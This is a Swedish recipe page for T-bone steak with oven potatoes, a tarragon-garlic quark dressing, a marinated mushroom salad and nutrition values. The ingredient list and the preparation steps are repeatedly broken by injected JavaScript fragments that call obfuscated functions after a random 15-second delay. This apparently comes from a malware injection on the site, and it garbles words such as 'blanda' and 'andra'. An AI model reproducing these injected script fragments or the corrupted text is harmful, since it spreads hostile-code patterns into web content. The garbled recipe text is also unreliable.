Ingredienser

• 200- 400g T-bone steak
• 120g 3st kvartade potatisar

Vitlöks-/dragondressing

• 50g kvarg
• 1/2 krossad vitlök
• 1/2 tesked dragon
• Örtsalt

Rawsallad

• 70g kvartad skogchampinjon
• 50g linsgroddar (eller andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ra groddar)
• 20g fin hackad lök
• 30g skivad grön paprika
• 30g tärnad avokado
• 40g spenat

Marinad

• 5g 1 tesked sojasås
• 5g 1-2 teskedar olivolja
• 10g 1 matsked äpplecidervinäger
• 1/2 krossad vitlöksklyfta
• 1/4 tesked sambaolek
• 1 tesked persilja
• Örtsalt

Gör så här:

Sätt igång ugnen på 200C

Lägg potatisen i en stekpanna i ugnen i ca 15 minuter, krydda med örtsalt.
Undertiden blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a dressingen och salladen. Lägg champinjonerna i en skål med marinade i 5 minuter. Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a sen i allt förutom spenat. Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a i spenaten, precis innan ni ska servera den.

När det är ca 10 minuter kvar, grilla eller stek T-bone steaken i en grill/stekpanna, krydda med örtsalt och svartpeppar. Låt vila i ett par minuter.

Med 200g T-bone

Kalorier 512,5

Protein 49,6

Kolhydrater 37,5

Fett 16,7

Med 400g T-bone

Kalorier 697

Protein 82,3

Kolhydrater 37,5

Fett 22,5